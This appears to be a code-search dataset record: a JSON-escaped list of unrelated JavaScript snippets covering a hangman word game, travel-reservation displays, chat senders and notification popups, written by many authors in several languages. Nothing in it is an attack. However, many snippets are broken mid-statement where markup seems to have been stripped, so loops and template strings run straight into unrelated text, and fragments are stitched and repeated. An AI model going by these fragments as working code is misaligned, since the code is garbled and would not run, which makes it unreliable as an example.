letters=[\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"M\",\"N\",\"Ñ\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"Z\"]\n\n for(let i=0;i
\\\" + underScore.join(\\\" \\\") + \\\"
\\\";\\r\\n document.getElementById(\\\"blank\\\").innerHTML = blank;\\r\\n }\\r\\n //hide and show you win div\\r\\n if (underScore.join(\\\"\\\") === word) {\\r\\n winMessage.show();\\r\\n direct.hide();\\r\\n }\\r\\n }\\r\\n}\",\n \"function displayLetters(guess){\\n\\t\\tfor (var i=0;iYou got \\\"+wins+\\\" out of \\\"+wordBank.length+\\\" right!\\\");\\n return;\\n }\\n currentWord=wordBank[wordIndex];\\n wordDisplay.innerHTML = createDisplay(currentWord);\\n //changed message board background color to blue\\n document.getElementById(\\\"message-board\\\").style.backgroundColor = \\\"#3dbaec\\\"\\n //upddate message board\\n updateField(\\\"message-text\\\", \\\"Next Word!\\\")\\n //resetting parameters\\n guessedArray = [\\\"\\\"];\\n updateLettersGuessedField();\\n guessesLeft = 6\\n updateField(\\\"guesses-left\\\",guessesLeft);\\n lettersCorrect = 0;\\n //reset stopGame\\n stopGame = false; \\n}\",\n \"function wordGame(){\\n\\n questions=['Famoso barrio electronico de Tokio','Provincia de catalunya','Se usa en la pesca','Mamifero marino con aspecto amigable','Arma comun usada en la epoca medieval',\\n 'Pais del sudeste asiatico','Felino de cuatro patas','Lugar donde pasar la noche','Causa fiebre','Mamifero comun en Africa','Ataque suicida de los pilotos japoneses','Satelite de la tierra',\\n 'Planeta cercano al sol del sitema solar','Que hace daño o es perjudicial.','Se usa pra hacer fuego','Mamifero nativo de Malasia e Indonesia','Monumento del antiguo Egypto','Se elabora a partir de leche quajada',\\n 'Lectura de composiciones poeticas','Tambien conocida como Russia Asiatica','Herramienta electrica usada en tareas de bricolaje','Criatura mitologica con forma de caballo blanco',\\n 'Contiene lava','Reproductor de audio portatil','Instrumento musical de percusion','Web dedicada a compartir videos','Ciencia que estudia los animales']\\n \\n anwsers=['akihabara','barcelona','cebo','delfin','espada','filipinas','gepardo','hotel','Infeccion','jirafa','kamikaze','luna','Mercurio','nocivo','leña','oranguntan','piramide','queso','recital',\\n 'siberia','taladro','unicornio','Volcan','walkman','xilofono','youtube','zoologia']\\n \\n letters=[\\\"A\\\",\\\"B\\\",\\\"C\\\",\\\"D\\\",\\\"E\\\",\\\"F\\\",\\\"G\\\",\\\"H\\\",\\\"I\\\",\\\"J\\\",\\\"K\\\",\\\"L\\\",\\\"M\\\",\\\"N\\\",\\\"Ñ\\\",\\\"O\\\",\\\"P\\\",\\\"Q\\\",\\\"R\\\",\\\"S\\\",\\\"T\\\",\\\"U\\\",\\\"V\\\",\\\"W\\\",\\\"X\\\",\\\"Y\\\",\\\"Z\\\"]\\n\\n for(let i=0;i
${objeto.nombre}
\r\nReservado por: ${objeto.reservadoPor}
\r\nCantidad de personas: ${objeto.cantidad}
\r\n$ ${objeto.precio}
`;\r\n document.body.appendChild(contenedor2);\r\n document.getElementById(\"crucerosReservados\").appendChild(contenedor2);\r\n }\r\n break;\r\n \r\n \r\n case \"aereo\":\r\n ///// Aereos\r\n container = document.querySelector('#aereosReservados');\r\n removeAllChildNodes(container);\r\n almacenados = JSON.parse(sessionStorage.getItem(\"pasajesAereos\"));\r\n \r\n //Recorro lo que viene del JSON e inserto DIV con cada objeto almacenado\r\n \r\n for (const objeto of almacenados)\r\n {\r\n contenedor2 = document.createElement(\"div\");\r\n contenedor2.innerHTML = `${objeto.nombre}
\r\nReservado por: ${objeto.reservadoPor}
\r\nCantidad de personas: ${objeto.cantidad}
\r\n$ ${objeto.precio}
`;\r\n document.body.appendChild(contenedor2);\r\n document.getElementById(\"aereosReservados\").appendChild(contenedor2);\r\n }\r\n break;\r\n \r\n case \"auto\": \r\n //// AUTOS\r\n \r\n container = document.querySelector('#autosReservados');\r\n removeAllChildNodes(container);\r\n almacenados = JSON.parse(sessionStorage.getItem(\"autosReservados\"));\r\n \r\n //Recorro lo que viene del JSON e inserto DIV con cada objeto almacenado\r\n \r\n for (const objeto of almacenados)\r\n {\r\n contenedor2 = document.createElement(\"div\");\r\n contenedor2.innerHTML = `${objeto.nombre}
\r\nReservado por: ${objeto.reservadoPor}
\r\nCantidad de días: ${objeto.cantidad}
\r\n${objeto.seguro}
\r\n$ ${objeto.precio}
`;\r\n document.body.appendChild(contenedor2);\r\n document.getElementById(\"autosReservados\").appendChild(contenedor2);\r\n }\r\n \r\n break;\r\n \r\n default:\r\n break;\r\n }\r\n \r\n }","function constroiEventos(){}","function cambioDePagina(xhttp) {\r\n let paginaAnterior = document.getElementById(\"paginaAnterior\");\r\n\r\n let paginaSiguiente = document.getElementById(\"paginaSiguiente\");\r\n\r\n paginaAnterior.addEventListener(\"click\", function() {\r\n if (xhttp.info.prev) {\r\n traerPersonaje(xhttp.info.prev, insertarCartas);\r\n\r\n } else {\r\n alert(\"No hay paginas antes de esta\")\r\n }\r\n });\r\n paginaSiguiente.addEventListener(\"click\", function() {\r\n if (xhttp.info.next) {\r\n traerPersonaje(xhttp.info.next, insertarCartas);\r\n\r\n } else {\r\n alert(\"No hay paginas despues de esta\")\r\n }\r\n\r\n });\r\n}","function onyeshaYaliyomo(kiungo, e, rangi, id) {\n e.preventDefault();\n let viungo, yaliyomo;\n viungo = document.getElementsByClassName(\"kiungo\");\n yaliyomo = document.getElementsByClassName(\"yaliyomo\");\n\n // ficha 'yaliyomo' zote kabla ya yote\n for (let index = 0; index < yaliyomo.length; index++) {\n const element = yaliyomo[index];\n element.style.display = \"none\";\n }\n\n // Ondoa darasa la 'hai' kwenye viungo vyote\n for (let index = 0; index < viungo.length; index++) {\n const kiungo = viungo[index];\n kiungo.className = kiungo.className.replace(\" hai\", \"\");\n kiungo.style.backgroundColor = \"transparent\";\n }\n\n // Onyesha kiungo hai na Yaliyomo yake\n kiungo.className += \" hai\";\n kiungo.style.backgroundColor = rangi;\n let yaliyomoHai = document.getElementById(id);\n let seksheni = document.getElementById(\"tabu-kurasa-nzima\");\n yaliyomoHai.style.display = \"block\";\n // yaliyomoHai.style.backgroundColor = rangi;\n seksheni.style.backgroundColor = rangi;\n}","function addEventsEntrega(){\r\n let btnsEntrega = document.querySelectorAll(\".entrega\"); \r\n for(let i=0; i
${objeto.nombre}
\\r\\nReservado por: ${objeto.reservadoPor}
\\r\\nCantidad de personas: ${objeto.cantidad}
\\r\\n$ ${objeto.precio}
`;\\r\\n document.body.appendChild(contenedor2);\\r\\n document.getElementById(\\\"crucerosReservados\\\").appendChild(contenedor2);\\r\\n }\\r\\n break;\\r\\n \\r\\n \\r\\n case \\\"aereo\\\":\\r\\n ///// Aereos\\r\\n container = document.querySelector('#aereosReservados');\\r\\n removeAllChildNodes(container);\\r\\n almacenados = JSON.parse(sessionStorage.getItem(\\\"pasajesAereos\\\"));\\r\\n \\r\\n //Recorro lo que viene del JSON e inserto DIV con cada objeto almacenado\\r\\n \\r\\n for (const objeto of almacenados)\\r\\n {\\r\\n contenedor2 = document.createElement(\\\"div\\\");\\r\\n contenedor2.innerHTML = `${objeto.nombre}
\\r\\nReservado por: ${objeto.reservadoPor}
\\r\\nCantidad de personas: ${objeto.cantidad}
\\r\\n$ ${objeto.precio}
`;\\r\\n document.body.appendChild(contenedor2);\\r\\n document.getElementById(\\\"aereosReservados\\\").appendChild(contenedor2);\\r\\n }\\r\\n break;\\r\\n \\r\\n case \\\"auto\\\": \\r\\n //// AUTOS\\r\\n \\r\\n container = document.querySelector('#autosReservados');\\r\\n removeAllChildNodes(container);\\r\\n almacenados = JSON.parse(sessionStorage.getItem(\\\"autosReservados\\\"));\\r\\n \\r\\n //Recorro lo que viene del JSON e inserto DIV con cada objeto almacenado\\r\\n \\r\\n for (const objeto of almacenados)\\r\\n {\\r\\n contenedor2 = document.createElement(\\\"div\\\");\\r\\n contenedor2.innerHTML = `${objeto.nombre}
\\r\\nReservado por: ${objeto.reservadoPor}
\\r\\nCantidad de días: ${objeto.cantidad}
\\r\\n${objeto.seguro}
\\r\\n$ ${objeto.precio}
`;\\r\\n document.body.appendChild(contenedor2);\\r\\n document.getElementById(\\\"autosReservados\\\").appendChild(contenedor2);\\r\\n }\\r\\n \\r\\n break;\\r\\n \\r\\n default:\\r\\n break;\\r\\n }\\r\\n \\r\\n }\",\n \"function constroiEventos(){}\",\n \"function cambioDePagina(xhttp) {\\r\\n let paginaAnterior = document.getElementById(\\\"paginaAnterior\\\");\\r\\n\\r\\n let paginaSiguiente = document.getElementById(\\\"paginaSiguiente\\\");\\r\\n\\r\\n paginaAnterior.addEventListener(\\\"click\\\", function() {\\r\\n if (xhttp.info.prev) {\\r\\n traerPersonaje(xhttp.info.prev, insertarCartas);\\r\\n\\r\\n } else {\\r\\n alert(\\\"No hay paginas antes de esta\\\")\\r\\n }\\r\\n });\\r\\n paginaSiguiente.addEventListener(\\\"click\\\", function() {\\r\\n if (xhttp.info.next) {\\r\\n traerPersonaje(xhttp.info.next, insertarCartas);\\r\\n\\r\\n } else {\\r\\n alert(\\\"No hay paginas despues de esta\\\")\\r\\n }\\r\\n\\r\\n });\\r\\n}\",\n \"function onyeshaYaliyomo(kiungo, e, rangi, id) {\\n e.preventDefault();\\n let viungo, yaliyomo;\\n viungo = document.getElementsByClassName(\\\"kiungo\\\");\\n yaliyomo = document.getElementsByClassName(\\\"yaliyomo\\\");\\n\\n // ficha 'yaliyomo' zote kabla ya yote\\n for (let index = 0; index < yaliyomo.length; index++) {\\n const element = yaliyomo[index];\\n element.style.display = \\\"none\\\";\\n }\\n\\n // Ondoa darasa la 'hai' kwenye viungo vyote\\n for (let index = 0; index < viungo.length; index++) {\\n const kiungo = viungo[index];\\n kiungo.className = kiungo.className.replace(\\\" hai\\\", \\\"\\\");\\n kiungo.style.backgroundColor = \\\"transparent\\\";\\n }\\n\\n // Onyesha kiungo hai na Yaliyomo yake\\n kiungo.className += \\\" hai\\\";\\n kiungo.style.backgroundColor = rangi;\\n let yaliyomoHai = document.getElementById(id);\\n let seksheni = document.getElementById(\\\"tabu-kurasa-nzima\\\");\\n yaliyomoHai.style.display = \\\"block\\\";\\n // yaliyomoHai.style.backgroundColor = rangi;\\n seksheni.style.backgroundColor = rangi;\\n}\",\n \"function addEventsEntrega(){\\r\\n let btnsEntrega = document.querySelectorAll(\\\".entrega\\\"); \\r\\n for(let i=0; i
'+retorno[2]+'
');\n msg.css('box-shadow', '2px 2px 3px #000');\n\n $('#dinamic').find('div #msg').remove();\n $('#cadastrarProduto, #estoque, #editEstoque, #editarProduto, #cadastrarMarca, #cadastrarCategoria, #vendaPainelTable').\n parent().prepend($('').attr('id', 'msg').addClass('row mb-5').html(msg));\n }\n}","function Mensajes(mensaje) {\n if (mensaje == 'Transaccion realizada correctamente')\n $().toastmessage('showSuccessToast', mensaje);\n else\n $().toastmessage('showErrorToast', mensaje);\n}","function showMessageMittente(text){\r\n\tif(text == \"\")\r\n\t\treturn;\r\n\r\n\tif(lastSender == IS_LAST_NON_SPECIFICATO || lastSender != IS_LAST_MITTENTE){\r\n\t\tlastSender = IS_LAST_MITTENTE;\r\n\t\tchangeLastSender();\r\n\t}\r\n\r\n\tshowMessage(text);\r\n}","function BasariMesaj( text){\n\t text = jQuery.trim(text); \n\t var dil = \"Tebrikler !\";\n\t if( strcmp( er.lang, \"en\" ) == 0 )\n\t dil = \"Congratulations !\";\n\t if( $(\".msgGrowl-container\").find(\".msgGrowl\").length <= 1 ){ \n\t $.msgGrowl ({\n\t element: $('body').parent(),\n\t type: 'success', //$(this).attr ('data-type') // info success warning error\n\t title: dil,\n\t text: text.charAt(0).toUpperCase() + text.slice(1) // capitialize first character\n\t });\n\t }\n\t }","function mensaje(){\n\n\talert(\"Mensaje de Bienvenida\");\n}","function message(ar) {\n\tif(ar==1){\n\t document.getElementById('successMsg').innerHTML +=\n\t \"Projekt wurde genehmigt!
\";\n\t}\n\telse{\n\t\tdocument.getElementById('successMsg').innerHTML +=\n\t\t\t \"Projekt wurde abgelehnt!
\";\n\t}\n\t var element = 'snackbar';\n\t $(function(){\n\t\t\t$(function(){\n\t\t\t\t$('#'+element).addClass('animated slideInUp');\n\t document.getElementById(\"snackbar\").style.visibility = \"visible\";\n\t\t\t\t$('#'+element).one('webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend', function(){\n\t\t\t\t\t$('#'+element).removeClass('animated slideInUp');\n\t\t\t\t\t$(function(){\n\t\t\t\t\t\t$('#'+element).addClass('animated slideOutDown delay-3s');\n\t\t\t\t\t\t$('#'+element).one('webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend', function(){\n\t\t\t\t\t\t\t$('#'+element).removeClass('animated slideOutDown delay-3s');\n\t\t\t\t\t\t\t$('#'+element).remove();\t\n\t\t\t\t\t\t});\n\t\t\t\t\t});\t\n\t\t\t\t});\n\t\t\t});\n\t\t});\n\t}","function showComingMsg(data) {\r\n addMsg(data, \"someone-else\");\r\n}","function nack() {\n Twibble.messages.unshift(message);\n Twibble.sendMessage();\n }","function noop() {\n console.warn('Hermes messaging is not supported.');\n }","function probando(req, res) {\n res.status(200).send({ message: 'Probando desde del controladaor Message.' });\n}","function message(msg) {\n var status = document.getElementById('status');\n status.textContent = msg;\n setTimeout(function() {\n status.textContent = '';\n }, 1500);\n}","TheMessage(msg) {\n return;\n }","function ack() {\n Twibble.sendMessage();\n }","mostrarSaludo(mensaje){\n\t\treturn mensaje;\t\n\t}","function mensajemodal(mensaje, titulo = \"ATENCIÓN\") {\r\n swal({\r\n title: titulo,\r\n text: mensaje\r\n },\r\n function () {\r\n swal.close();\r\n $interval.cancel(interval);\r\n });\r\n var interval = $interval(function () {\r\n swal.close();\r\n $interval.cancel(interval);\r\n }, 3000);\r\n }","function mensajemodal(mensaje, titulo = \"ATENCIÓN\") {\r\n swal({\r\n title: titulo,\r\n text: mensaje\r\n },\r\n function () {\r\n swal.close();\r\n $interval.cancel(interval);\r\n });\r\n var interval = $interval(function () {\r\n swal.close();\r\n $interval.cancel(interval);\r\n }, 3000);\r\n }","function envoiMessage(mess) {\r\n // On recupere le message\r\n var message = document.getElementById('message').value;\r\n\r\n // On appelle l'evenement se trouvant sur le serveur pour qu'il enregistre le message et qu'il l'envoie a tous les autres clients connectes (sauf nous)\r\n socket.emit('nouveauMessage', { 'pseudo' : pseudo, 'message' : message });\r\n\r\n // On affiche directement notre message dans notre page\r\n document.getElementById('tchat').innerHTML += ''+pseudo+' : '+message+'
';\r\n\r\n // On vide le formulaire\r\n document.getElementById('message').value = '';\r\n\r\n // On retourne false pour pas que le formulaire n'actualise pas la page\r\n return false;\r\n}","function msg() {\r\n\t\tsetTimeout(function () {\r\n\t\t\tif(message !== lastMessage) {\r\n\t\t\t\t//client.sendMessage(chanObj, message);\r\n\t\t\t\tchanObj.send(message);\r\n\t\t\t\tlastMessage = message;\r\n\t\t\t}\r\n\t\t\tmsg();\r\n\t\t}, 100);\r\n\t}","function setMsg(msg) {\n\tif (msg != \"\") {\n\t\t$('#signal-msg').html(msg).fadeOut(1000);\n\t\treturn true;\n\t}\n\treturn false;\n}","static messageNoData() {\n //\n noDataMessage.style.display = 'block';\n }","function noThanks () { \n console.log (\"OK, maybe another day. Bye!\"); \n}","function saludo3(mensaje){\n console.log(`Hola buen dia 3 ${mensaje}`);\n }","function emitirAviso(mensagem, id, tempo){\n let snackbar = document.getElementById(id);\n snackbar.innerHTML = mensagem;\n snackbar.className = \"show\";\n setTimeout(function(){snackbar.className = snackbar.className.replace(\"show\", \"\"); }, tempo);\n}","function inviaMessaggioUtente(){\n var text_user=($('.send').val());\n if (text_user) { //la dicitura cosi senza condizione, stà a dire text_user=0\n templateMsg = $(\".template-message .new-message\").clone()\n templateMsg.find(\".text-message\").text(text_user);\n templateMsg.find(\".time-message\").text(ora);\n templateMsg.addClass(\"sendbyUser\");\n $(\".conversation\").append(templateMsg);\n $(\".send\").val(\"\");\n setTimeout(stampaMessaggioCpu, 2000);\n\n var pixelScroll=$('.containChat')[0].scrollHeight;\n $(\".containChat\").scrollTop(pixelScroll);\n }\n }","function nota(op,msg,time){\n if(time == undefined)time = 5000;\n var n = noty({text:msg,maxVisible: 1,type:op,killer:true,timeout:time,layout: 'center'});\n}","function setSucessMessageWithFade(message){\n setSucessMessage(message);\n setTimeout(function() {\n setSucessMessage('');\n }, 3000);\n }","function chatbotResponse() {\n botMessage = \"Introduzca la respuesta correcta por favor\"; //the default message\n\n if (lastUserMessage === \"si\" || lastUserMessage === \"Si\") {\n botMessage = \"Perfecto\";\n }\n\n if (counter === 0) {\n counter = 1;\n botMessage =\n \"Soy tu asesor DAP legal, ¿Quieres que te ayude a formalizar un préstamo?\";\n }\n}","function OnSuccessCallMaladie(data, status, jqXHR) {\n\t\t\tnotif(\"success\", \"Brief envoyé avec succès !\");\n\t\t}","HandleMessage( msg ) {\n return false;\n }","function checkMessages() {\n messageBackground({\n action: 'check messages'\n });\n}","function quitarMensaje() {\n document.getElementsByTagName('span')[0].textContent = \"\";\n clearInterval(cuentaAtras);\n }","function functionNexMessage(){\n if(messageQueue.length == 0) return;\n\n $(\"#messageArea\").prepend(messageQueue[0]);\n $(messageQueue[0]).fadeIn();\n $(messageQueue[0]).animate({bottom:'0px'},1000);\n\n messageQueue[0].messageTimeout = setTimeout(function () {\n $.when($(messageQueue[0]).fadeOut(500))\n .done(function() {\n $(messageQueue[0]).remove();\n messageQueue.splice(0, 1);\n functionNexMessage();\n\n });\n }, messageLength);\n\n\n\n}","function AnimateMessage() {\n var domain_message = $(\"div.waiting_message\");\n var is_detect = true;\n domain_message.fadeToggle(700);\n if(!domain_message.length) {\n is_detect = false;\n return;\n }\n console.log(is_detect);\n setTimeout(arguments.callee, 700);\n }","limpiarMensaje() {\n const alerta = document.querySelector('.alert');\n\n if (alerta) {\n alerta.remove();\n }\n }","function printErrorMessage(msg){\r\n\t\t console.log(\"in printmessage() message received: \"+msg);\r\n\t\t if(msg != \"\")\r\n\t\t\t setTimeout(printErrorMessage,7000,\"\");\r\n\t\t $(viewLeavesMessage_id).text(msg);\r\n\t\t \r\n\t }","function mostrarAyuda(msg) {\n $.notify({\n message: msg\n }, {\n type: 'info',\n delay: 3000,\n placement: {\n align: 'center'\n },\n z_index: 99999,\n });\n}","function getWelcomeMessage(){\n g.msgNo = 0;\n serverRequest(getParams(\"none\"),false);\n}","function addMesaj(mesaj,disappear)\r\n { \r\n \r\n mesaj[0].id=\"mesaj\";\r\n \tmesaj[0].innerHTML=mesaj.innerHTML;\r\n \tdocument.body.appendChild(mesaj[0]);\r\n\r\n \tvar MessageDisapears=setTimeout(function(){\r\n if(disappear)\r\n { \r\n console.log(disappear);\r\n var m=document.getElementById(\"mesaj\");\r\n document.body.removeChild(m);\r\n }\r\n \t},joc.getMsgDisappears());\r\n }","function ok() {\n timer();\n var msgCopy = $(\"#template .msgpc\").clone();\n msgCopy.find(\".txt\").text(\"ok\");\n msgCopy.find(\".time\").text(timer);\n $(\"#chatwindow .chatsbox.active .chatbox\").prepend(msgCopy);\n }","function sendMessage() {\n sendNewMessage({ dsText: valueInput.trim(), usuario: getUsuarioLogado() });\n setValueInput('');\n }","function messageFailureHandler() {\n console.log(\"Message send failed.\");\n sendMessage();\n}","function messageFailureHandler() {\n console.log(\"Message send failed.\");\n}","function messageFailureHandler() {\n console.log(\"Message send failed.\");\n}","function afficherErreur(message) {\n $('#manitouAlertes').html('' + message).removeClass('manitouAlerteSucces').addClass('manitouAlerteErreur').show().delay(4000).hide(400);\n }","function showMessage(msg){\n $(message).append(''+msg+'
');\n runClean(3000);\n}","showAlertAcessoParticipante(sucess_error,mensagem){\n if(sucess_error==='success'){\n const div = document.createElement('div')\n div.id = 'message'\n div.innerHTML = `\n \n
\n `\n document.getElementById(this.divsIDs.header).insertBefore(div,document.getElementById(this.divsIDs.funciWrapper))\n }\n if(sucess_error==='error'){\n const div = document.createElement('div')\n div.id = 'message'\n div.innerHTML = `\n \n
\n \n \n
\n ${mensagem}
\n\n
\n `\n document.getElementById(this.divsIDs.header).insertBefore(div,document.getElementById(this.divsIDs.funciWrapper))\n }\n setTimeout(() => {\n document.getElementById('message').remove()\n }, 3000);\n }","function sendMessage(){\n //Gets the message that will be sent to the server and put it into variable\n var msgToSend = g.messageBox.value.trim()\n \n //Checks whethers it is null, does not want to send empty string\n if(msgToSend != \"\"){\n //Stops the script from updating every 5 seconds, makes it synchronous,\n //then sends messages and finally makes it asynchronous again.\n clearInterval(g.updateInterval);\n serverRequest(getParams(msgToSend),false);\n g.updateInterval = setInterval(getMessages, 5000); \n g.messageBox.value = \"\"; //clear message box\n }\n}","function messageNoHousehold() {\n addMessage('You aren\\'t a registered member of a household. Click \"Household\" on the navigation menu to create or join a household.', 'error');\n}","_msgCallback(err) {\n if (err) {\n console.log(err);\n // TODO: Handle it by showing a prompt\n }\n\n // Re-enable message composer\n this.setState({\n busy: false\n });\n }","function test(message) {\n return 0;\n}","function HataMesaj( text){\n\t text = jQuery.trim(text); \n\t var dil = \"Hata !\";\n\t if( strcmp( er.lang, \"en\" ) == 0 )\n\t dil = \"Error !\";\n\t if( $(\".msgGrowl-container\").find(\".msgGrowl\").length <= 1 ){ \n\t $.msgGrowl ({\n\t element: $('body').parent(),\n\t type: 'error', //$(this).attr ('data-type') // info success warning error\n\t title: dil,\n\t text: text.charAt(0).toUpperCase() + text.slice(1) // capitialize first character\n\t });\n\t }\n\t }","function sendMessage(){}","function failedsent() {\n console.error(\"Invio delle notizie non riuscito!\")\n $(\"#formerr\").fadeIn(750);\n $(\"#infomsg\").text(\"Invio delle notizie non riuscito!\");\n $(\"#formerr\").delay(3000).fadeOut(2000);\n}","function obtenerMensaje1(campo){\n\tvar mensaje = \"\";\n switch(campo){\n case 'idproraz': mensaje = \"Si modificó algún campo de este módulo debe justificar.\";\n\tbreak;\n\t}\n\treturn mensaje; \n\t\n}","function alertNotificar(texto, tipo){\n PNotify.removeAll()\n new PNotify({\n title: 'Mensaje de Información',\n text: texto,\n type: tipo,\n hide: true,\n delay: 7000,\n styling: 'bootstrap3',\n addclass: ''\n });\n }","function showMessageDestinatario(text){\r\n\tif(text == \"\")\r\n\t\treturn;\r\n\r\n\tif(lastSender == IS_LAST_NON_SPECIFICATO || lastSender != IS_LAST_DESTINATARIO){\r\n\t\tlastSender = IS_LAST_DESTINATARIO;\r\n\t\tchangeLastSender();\r\n\t}\r\n\r\n\tshowMessage(text);\r\n}","function notif(message, success){\n success = (typeof success !== 'undefined') ? success : true;\n $('\n
\n \n \n
\n ${mensagem}
\n' + message + '
')\n .prependTo(\"body\")\n .fadeIn('fast')\n .delay(5000)\n .fadeOut('fast')\n .queue(function(){$(this).remove()});\n}","function checkMessage(inputMsg) {\n if(inputMsg == undefined){\n return \"\";\n }\n else{\n return inputMsg;\n }\n }","function notyMessage(statue) {\n $.noty.defaults.killer = true; //closes existing notys\n noty({\n text: 'Congratulations, you found ' + statue.name + '. X ',\n layout: 'topCenter',\n closeWith: ['click'],\n type: 'success'\n });\n}","registeredMsg() {\n return 'You are already regsitered!';\n }","function ClearStatusMsg() \n {\n\n SetStatusMsg(\"StatusMsg\", \"\");\n }","function mensagem(texto) {\n $(\"#erro p\").text(texto).addClass('alert-danger').addClass('alert');\n\n if (texto)\n $(\"#erro\").show(\"slow\");\n else\n $(\"#erro\").hide(\"slow\");\n\n setTimeout(function () {\n $(\"#erro\").hide('slow');\n }, 3000);\n}","function limpaMensagens() {\n $rootScope.messages.length = 0;\n }","function process_event(event){\n // Capturamos los datos del que genera el evento y el mensaje\n var senderID = event.sender.id;\n var message = event.message;\n \n // Si en el evento existe un mensaje de tipo texto\n if(message.text){\n console.log('=========MENSAJE DE ============')\n console.log('Mensaje de ' + senderID);\n console.log('mensaje: ' + message.text);\n\n if(message.text === 'Integrantes'){\n enviar_texto(senderID, {\n \"text\": '-Flores Olegua Johan Rafael 1910082' + ' ' +'-Pozo Aquino Erick Junior 1316534' + ' ' +'-Arroyo Caseres Juan Carlos ',\n })\n }\n if(message.text === 'integrantes'){\n enviar_texto(senderID, {\n \"text\": '-Flores Olegua Johan Rafael 1910082' + ' ' +'-Pozo Aquino Erick Junior 1316534' + ' ' +'-Arroyo Caseres Juan Carlos ',\n })\n }\n}\n \n // Enviamos el mensaje mediante SendAPI\n //enviar_texto(senderID, response);\n }","function notifyFail(msg) {\n const notifcns = document.querySelector('#notifications');\n if (notifcns) notifcns.remove();\n document.querySelector('nav .notifications .counter').textContent = ' ! '; // note U+2005 ¼ em spaces\n const notificationsHtml = `${msg}
`;\n document.querySelector('nav .notifications').insertAdjacentHTML('beforeend', notificationsHtml);\n document.querySelector('nav .notifications').classList.remove('hide');\n }","function displayMessage(msg) {\r\n $('#msg').bind(\"DOMSubtreeModified\", function () {\r\n window.setTimeout(function () {\r\n $(\".alert\").fadeTo(500, 0).slideUp(500, function () {\r\n $(this).remove();\r\n document.getElementById(\"msg\").classList.toggle(\"frente\");\r\n });\r\n }, 2500);\r\n });\r\n // Acrescenta classe à DIV para ficar à frente da DIV branca-transparente\r\n document.getElementById(\"msg\").classList.toggle(\"frente\");\r\n // Insere os dados da mensagem de alerta na DIV e exibe a mensagem\r\n $('#msg').html('' + msg + '
');\r\n}","function piman_send_message(msg,error){\n msg = '' + msg + '';\n\n $(window).scrollTop($('body').position().top)\n\n $(\"#notifications_content\").html(msg)\n .addClass(error ? 'error' : 'success');\n\n $(\"#notifications\")\n .toggle()\n .delay(5000).fadeOut()\n .click(function(){$(this).stop(true,true).fadeOut()});\n\n}","_ackSendMessageHandler(json){\n\t if (json.user !== CooperativeEditorParticipants.userName ){\n \t\t\tthis.domHost.playTTS(json.user);\n \t\t}\n\n \t\tthis.push('messages', {\"user\": json.user, \"message\": json.message, \"time\": json.time});\n \t\tthis.domHost.playSound(\"sendMessage\", json.effect, json.position);\n \t\t\n \t\tthis.isTyping = false;\n }","function ChatMessage() {\n if (document.getElementById(\"chatSend\").value.trim() != \"\") {\n var ChatMsg = document.getElementById(\"chatSend\");\n ChatUser(ChatMsg.value);\n //ChatAdmin(\"Please wait\");\n // var blMsg = SendNewMsg(ChatMsg.value);\n // if (blMsg) {\n // cntMsg = cntMsg + 1;\n // }\n //alert(\"End\");\n\n // var blMsg = CallSendMsg(cntMsg);\n // if (blMsg) {\n // cntMsg = cntMsg + 1;\n // }\n var blMsg = ShowAdminMessage(ChatMsg.value);\n if (blMsg) {\n cntMsg = cntMsg + 1;\n }\n\n //ChatSuggestions(\"test2\");\n ChatMsg.value = \"\";\n return false;\n }\n}","function _noconn()\n\t{\n\t\tUTILS.msgbox(\"You do not have a good enough signal to complete the request. Please try again later.\", \"No Connection\");\n\t}","function Fnc_BuscarInformacionHogar(s, e) {\n\n if (txtIdentidad.GetText() != \"\" || txtHogar.GetText() != \"\") {\n var NumHogar = (txtHogar.GetText() == \"\") ? 0 : txtHogar.GetText()\n if (txtIdentidad.GetText() != \"\") {\n if (txtIdentidad.GetText().length != 13) {\n $(\".warning\").hide()\n $(\"body\").waitMe(\"hide\")\n $(\"#Error_text\").text(\"error dede de ingresar un numero de identidad valido\")\n $(\".error\").show()\n return 0;\n }\n }\n Fnc_PeticionInformacionHogarSuspender(NumHogar, txtIdentidad.GetText())\n\n } else {\n $(\".warning\").hide()\n $(\"body\").waitMe(\"hide\")\n $(\"#Error_text\").text(\"error no debe de haber campos vacios\")\n $(\".error\").show()\n }\n\n}","_createMessage() {\n let messageArr = ['абонент', 'абонента', 'абонентов'];\n\n function createMessage(number, startWord) {\n let endMessage = null;\n let startMessage = (number === 1) ? startWord : (startWord + \"o\");\n\n if(number === 1) {\n endMessage = messageArr[0];\n } else if (number == 12\n || number == 13\n || number == 14) {\n\n endMessage = messageArr[2];\n } else if( number.toString()[number.toString().length - 1] === '2'\n || number.toString()[number.toString().length - 1] === '3'\n || number.toString()[number.toString().length - 1] === '4') {\n\n endMessage = messageArr[1];\n } else {\n endMessage = messageArr[2];\n }\n\n return startMessage + \" \" + number + \" \" + endMessage;\n }\n\n noty({\n text: createMessage( (this._correctData.length), 'Загружен'),\n type: 'success',\n timeout: '3000'\n });\n\n if(this._inCorrectData.length) {\n noty({\n text: createMessage( (this._inCorrectData.length - 1), 'Не загружен'),\n type: 'error',\n timeout: '3000'\n });\n }\n }","limparMsgAlert() {\n divMsg.innerHTML = \"\";\n\n\n }","function congratsMessage(){\n\tif (matchedCards.length === 16){\n\t\tsetTimeout(function(){\n\t\t\ttoggleModal();\n\t\t\t},1000);\n\t\tstopTimer();\n\t}\n}","function callbackValidation(msg){\n swal({\n title: msg,\n text: 'por favor revise sus datos',\n imageUrl: '../assets/img/callback/missing.png',\n imageHeight: 90,\n animation: true,\n confirmButtonColor: '#4fa7f3'\n })\n}","function warn(msg){\n\t\t\n\t\tflashCount = 0;\n\t\t\n\t\tif ( null == msg ){\t\n\t\t\tfaultMsg=\"The inverter has faulted!\"; \n\t\t\t$(\"#alarmMessage\").html(\"The inverter has faulted!\");\n\t\t} else {\n\t\t\tfaultMsg=msg;\n\t\t\t$(\"#alarmMessage\").html(\"FAULTS:\"+msg);\n\t\t}\n\n\t\t$(\"#alarm\").show();\n\t\tif ( !booFault ) {\n\t\t\tbooFault = true;\n\t\t\tscreenFlash();\n\t\t\tsoundAlarm();\n\t\t}\n\t\t\n\n\t}","function mensaje(){\n\treturn 'Hola Mundo JavaScript';\n}","function onSendMessage(){\n var msg = document.getElementById(\"usermsg\").value;\n if(msg == \"\") alert(\"assicurati di inserire il testo da inviare\");\n else {\n if(sex 